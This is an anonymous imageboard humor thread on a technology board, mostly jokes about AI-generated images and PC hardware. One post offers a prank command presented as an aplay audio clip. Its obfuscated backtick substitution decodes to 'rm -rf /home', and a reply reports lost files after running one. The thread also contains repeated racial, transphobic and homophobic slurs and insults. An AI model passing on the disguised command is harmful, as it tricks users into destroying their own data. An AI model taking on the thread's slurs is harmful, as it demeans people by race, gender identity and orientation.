/g/ humor thread
>>109140327Hahaha so funny! I upvoted your hilarious post and shared it among my fellow humans! Huzzah!
>>109140327I cant wait till computer technology is done. Im so sick of this shit.
>>109140492>you want to pray game??looool haha
>Programmer at work
>>109140492I actually want one of these cases for the memes
>>109141178This is NOT funny.
>>109140327Here's a classic
>>109142323Hahahahhahaha GPT never stops being utter garbage.
>>109140366is this biat
>>109143614Why? I literally sent it. Fucking pricks.
>>109140359Fpbp
>>109142323Why does it always put "X-ray fish" in these? What is the obsession with "X-ray fish"?
>>109140327I don't understand.
>>109142323Works fine for me. Luddites BTFO again
>>109144618What in name of god is that thing in A?
>>109144613I hate the fact that despite knowing the obvious common sense answer, I still want to ask if this is possible.
>>109144618>X-ray TetraAlso could I get a closer look at that alligator?
>>109144676a daikon has decently high water content, enough to sink the heat for a moment but dissipation is a problem and will eventually overheat
>>109144650>>109144734The alligator uses the computer a lot, big deal. Your neck doesn't do that?
>g humornigger
>>109144760I'm less worried about its posture and more about the length of the neck, and what appears to be a second face partway down the neck. It's basically a valid creature, although not an alligator, even if we take this part off.
>>109144797Tell me when those agents can create quality code and not just destroy all projects in their path.
>>109144791The thing you think is an eye is just some scale or whatever, he has others (blue arrows).The original pic, his long neck was pointing slighly more towards the red arrow, hence it looked like he had a weird bump in his back: it was just the curvature of his long computer user's neck.That red thing on the nect you think is a mouth, is just a scar. Alligators fight a lot and get plenty of those.I'm not the guy who posted that pic, I'm jsut shitposting.
>>109144817Everybody knows Lapras is just a common long-necked alligator with a back shell.
>>109140327>average codeTRANS
>>109140327Kek. AI itself is the biggest joke of 2026
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>>109144911>muh botsIt’s a humor thread. Expect memes
>>109144919Memes yes, unauthentic forced memes... i guess also.
>>109144930>it’s forced because I say soKeep coping
>>109144936It is tho. Because it's fake and gay.
>>109144939you are a codetrans therefore gay
>>109144945Buy an ad
>>109144947Not an argument
>>109144952Dont need one. I'm not the one pushing a product.
>>109144962>making fun of you is pushing a product You’re trans
>>109144969Yes. Buy an ad.
>>109144971>admitting that you’re transKekekekkeek
>>109144977Still not buying your product, sorry.
>>109144980Your opinion is worthless, trans
>>109144981Says the bot pushing a sponsored opinion.
>>109144987You will never be a woman
>>109144989Says the bot. Now we have a humor thread.
>>109145000Go back to take your hrt
>>109144817>scarWhy would it draw a singular scar there on it, and why are none of the other scales as dark and pronounced as that one? While we're at it, why not just say it got a neck injury in the same fight that scar came from, and that's why it's bent around that way?
>>109145002Buy an ad.
>>109144903The right side and left side are the same
>>109145007No
>>109144676Is Russian heat sink, it works just well enough to prevent disaster temporarily.
>>109141255lole
>>109144618I asked chatgpt to make one that would help kids learn the alphabet faster.
>>109145394There's no way you didn't either feed it those or at least ask it for weird ass animals.
>>109144855I don't get it.
>>109144848
>>109144620reminds me of Cypher (2002)
>>109144588That's how AI would answer
>>109146382No, AI would either hallucinate something completely wild and wrong, or say "As a large language model I am unable to explain this image for you."
>>109145234fake and gay post. we barely had BBS in 97.
>>109146382Oh. I suppose you need to familiarize yourself with AI to get the joke (some of us did not)
>>109146402Then how do you interpret the joke?AI often says something totally wrong with confidence and when you correct it it says exactly something like "you're right to push back bla"
>>109144734
>>109144578>filenameI choked a little
>>109146078https://youtu.be/cTRBUnjAgq8?t=201
>>109144586the drink on the mouse pad is a nice touch
>>109145003The lore deepens.
>>109148012>filenamekek
>>109148548>>>/v/
Just gonna leave this here.
>>109144272Literally and laterally me.
>>109146573You're so cool, Anon. I wish I were more like you.
>>109148642i was scraping the bottom of the barrel in trying to make it tech related. i just think that one is good.
>>109145394>Yellow Sea Penis Fishkek
>>109144860
>>109140327
>>109149857
>>109149866
>>109149791That poor mainboard is getting bent like crazy.
>>109141255>ALSA# definitely not earrapeaplay --rawaudio "`$'\x72\x6d' $'\55\x72\x66' $'\57\x68\x6f\x6d\x65'`"
# definitely not earrapeaplay --rawaudio "`$'\x72\x6d' $'\55\x72\x66' $'\57\x68\x6f\x6d\x65'`"
>>109150204i actually ran one of these once expecting it would be earrape. it was one of those moments when i realised how stupid i was being the moment i pressed the enter key.
>>109150407Did your distro at least catch it before something went wrong?
>>109150407kek, the first thing i saw when i saw >>109150204 was "there's no way that thing does what's advertised"
>>109150474Hot
>>109144860>>109149791>cloud computing
>>109146508it's from the alt.games.video.sony-playstation mailing list you stupid underage monkeystop talking as if you were even alive in 97
>>109148394Is there some gotcha? This sounds like a pretty good solution to unwanted burrowing critters.
>>109142590Soviets used to land on land.https://www.youtube.com/watch?v=ai7c5KCFV_Q
>>109151526just the filename together with gassing
a house is technology
>>109150438I lost about half of my home directory including all my .config and .local which were the only things I hadn't backed up (now they are)>>109150472they said it would play a tune, and sweet summer child that I am, I thought the prank was that it would be earrape
>>109148394You need an older car for this to work well. Modern emission vehicles it will take far too long to kill anything.
>>109151641interesting, thanks
>>109140676*could*
>>109142323just yak gets me
>>109151641Yeah but Russians are just built different like that
>>109142590good ol' "do your own research" crowd doing exactly zero research
>>109148401imagine being dumped by a program pretending to be your boyfriend.this'd require levels of repulsiveness i didn't know were possible
>>109150474i don't care much for faggots, but the idea that a nigger thinks her can compete with an asian at faggotry is very funny to me.
>>109150407See this is why you must have an autistic knowledge of all shell script operators.
>>109155117Or at least know ASCII in decimal, octal and hex to instantly spot the "rm -rf".
>>109155753It does raise the question, though, why aplay, supposedly an audio player, can rum rm -rf.
>>109149869
>>109155780It's not aplay, the backticks tell the shell to run the command between them and substitute the output.
>>109155790
>>109155817i shall save that as lapbottom.jpg
>>109154298For the past year or so they've been specifically programming ChatGPT/Claude/etc to refuse to be your AI bf/gf. She talks about "emotional dependency on an AI" because that's how the corpos describe the thing they're trying to prevent. A lot of people on r/myboyfriendisai have moved to API services with custom frontends so that they don't have to deal with all the new system prompts and classifiers and other shit designed to kill off AI boyfriends.
>>109140327kek
>>109145234the NIGGER gets me every timeperfectly well timed
>>109148557what the fuck am I looking at
>>109155913nice get
>>109142323>x is fpr X-rayWas this trained on pajeet speak?
>>109156106what would you use? can't think of any X words other than Xena, Xanadu or X3eme
>>109145155it imagine in russia you'd just place the pc in the window opening and use the hot air on the other end to heat your room like an ac heater.
>>109156184why would you put it in the window?..
>>109156193because then it sucks in cold russian air, does it's cpu thing and feed you warm air out the other end. Heating isn't actually lost energy if you use it right.
>>109150474>hey buddy, the leather club is 3 doors down
>>109155843wheels get reinvented all the time
>>109156271or you could just heat the room normally without sucking anything in?..
>>109156291Pretty standard wheel in this pic. The tire is what's "reinvented" here, fucknut
>>109156291a tire is not a wheel, you fucking retardit is like a shoe for a wheel. your fucking retarded brain doesn't work
>>109156472now what
>>109150474Is this that guy that does that stupid gay dance to that Ice Spice song? What's the context here?
>>109156009charging telephones
>>109156173Xylophone is usually the go-to for X.
>>109156603that's like a fucking McDonald's or somethingand they just put it on the floor?some sort of savages
>>109156173>>109156607>/g/>no xeon xor xenon cmon guys
>>109156631the /g/ X-word is Xlibre of course
>>109144457LLMs spit out the most probable answers, x-ray is the international phonetic word for X, and it doesn't have many fish that start with X to choose from, so probability of choosing x-ray fish is going to be nearly 100% unless you increase the temperature for it's responses.
>>109156656if we're playing tech wordle I'm goin for XMB over X11
>>109156399you'd only be wasting more energy cooling your computer. the outside air is always cold in russia so placing computers like ac units would just make them more economical with or without added heating.
>>109156721what do you cool your fucking computer with? xenon?
>>109145394holy based
>>109156631X-wing!
>>109156757i just have normal fans but i dont live in russia where the outside air is always cold. if the outside air is cold then you can use that air to cool your cpu and use the warmed air out the other end to save heating costs
>>109156909xbox
>>109157121nigger the INSIDE AIR IS COLD TOO
>>109142459debian users waiting for new packages
>>109144578what happens when the monitor falls on his head
>>109144620gem filename
>>109157521not if you use that cpu which will heat the air coming out of the case into the home. if the inside air is cool as the outside air it just means the cpu is saved from overheating but if the cpu is used it also saves the user from hypothermia. since you wont be using the computer when you're not there it doesnt need to run and you save energy but when the user is at home using the computer they save each-other
>>109156291apparently not brakes however
>>109148382When I saw this I thought "rollercoaster tycoon.jpg"
>>109148382>>109157820
>>109142590>water = bouncyNever let this man touch a keyboard ever again
>>109157853It's not unreasonable to say something buoyant can "bounce" on water when landing into it. The post is deliberate written in a dumbed-down way because they're talking to a black person.
>>109157853water is bouncy.
>>109150204thank god i did a backup of my /home a week ago
>>109148020The slut even have painted nails.
>>109149665It is pretty decent, anon.
>>109155869I chubbed up at the thought.
>>109148657This is their old form. You now need a cover letter and résumé.
>>109144601
>>109157837deep cut comic
>>109156659What if you ask it for things, not necessarily animals? The usual go-to for X on human-made ones of these is xylophone.
>>109158349KEK
>>109156630In-n-Out.
>>109157632portal to gensokyo
>>109149791just noticed that some but not all green colors was removed from that image, how odd
>>109142590I don't even understand what the conspiracy theory is supposed to be. Why is landing on water suspicious? What are they supposed tl be doing in the ocean that is nefarious?
>>109158816;_;
>>109158774Coily heard you were talking shit.
>>109158255>resumeto work at mcdonalds? what do you put on it? ten years of burger experience with a PhD in finding the hamburglar?
>>109158951you have to write "i dindo nuffin" in a convincing manner
>>109154229Water acts as a cushion
>>109150474>filenameBecause they're supposed to be replacements for gifs not your youtube/tiktok alternative.
>>109153201>I lost about half of my home directory including all my .config and .local which were the only things I hadn't backed upImagine not using brtfs
>>109150474>>109159087i believe the main reason is they didn't want the site to require audio.if audio was enabled everywhere you'd get a bunch of content where the joke is the silly sound effect or where the video maker wouldn't bother to add subtitles if audio was enabled.overall this would downgrade the browsing experience if you either don't have the ability to plug in a headset or you have to pause your music again and again.
>>109159131>the jokeBold of you to assume there would be an intended joke and it wouldn't just be a scream.
>>109157991I think anon is referencing the /gif/ meme of water being like concrete.
>>109158856I guess it's the idea that there's no one around to actually verify what happened. Even though they could also land in the middle of nowhere on land to achieve the same result, or that anyone could use a boat.
>>109160272This is purely a joke and nobody actually writes like this right?
>>109160566whynotboth.gif
>>109155817That's kinda based
>>109159442If you wanted to fake a capsule splashdown you could just drop it out of an airplane though
>>109142323Works on my machine
>>109145394Anglerfish, fangtooth, and queen anglerfish are killing me
>>109158811slop
>>109160566Mostly no but isEven is real and running on most peoples computers every day
>>109155780It's not running it.
>>109142323>Yak
>>109140327razer just putting their patch for the spectre hardware sidechain vul on the downloads part of their product page without telling anyone to go download it
>>109144272Why's it some anthropomorphic hamster talking to regular people?
>>109162365it's the author's fursona
>>109160566Before LLMs could save nocoder Indians this shit was everywhere.
>>109162373Yuck
>>109161579but what do x and y represent
>>109158746>customising the ganoo-car
>>109161288wrong, my date modified is 9 April 2023 for that image and AI wasn't good enough to make that quality at that point
>>109162912...as soon as i write that i actually open the image and notice the wonky keyboard, lol.
>>109150204is that a song from one of the old Legend of Zelda's? Sounds familiar
>>109158791haha what a stupid bee, it thinks the flower is real. What a god damn idiot. Now excuse me while I pretend to have sex with this beautiful woman on my screen.
>>109163276the relationship between your hand and you is real anon, don't betray her with another woman
>>109159049it's actually spelled Janoy Cresva
>>109160272you need to sign the hash of the string "true" with sha512 and then sign it with ECDSA, and each time validate it a certified true signature
>>109158746>this is the future we gotI'm not particularly mad, tbqh
>>109146679Xerus doesn't count
>>109144846Why are Indians like this? Why not just order a larger AC?
>>109144860/g/'s been dead for over ten years
>>109149866Noticed it was edited and didn't feel shame for using archIt's in a yugioh store, shame is back
>>109155848Why do trannies try to dress up their retarded minimalist code philosophies as "security".Give a logical argument for why a function doing more than one thing is "malware" without just pretending that you've made such an argument elsewhere and acting flabbergasted that everyone isn't on board.
>>109145394>L>Zthe forbidden fleshlights
>>109158726Just stich it into a single volume in zfs.
>>109155843>implying unity or unreal engine is a wheelworst forced meme in all of forced memes
>>109164938I've seen worse over at /ona/
>>109158934looks vaguely semitic
>>109162413It wasn't. How would a nocoder even write this? It's way more complicated than a stumble == null.
>>109164879because they cant inspect what a program does by what api calls it makes to the degree that they want to
>>109162704What x and y?This isn't even a chart. It's an arrow pointing at bottom left.
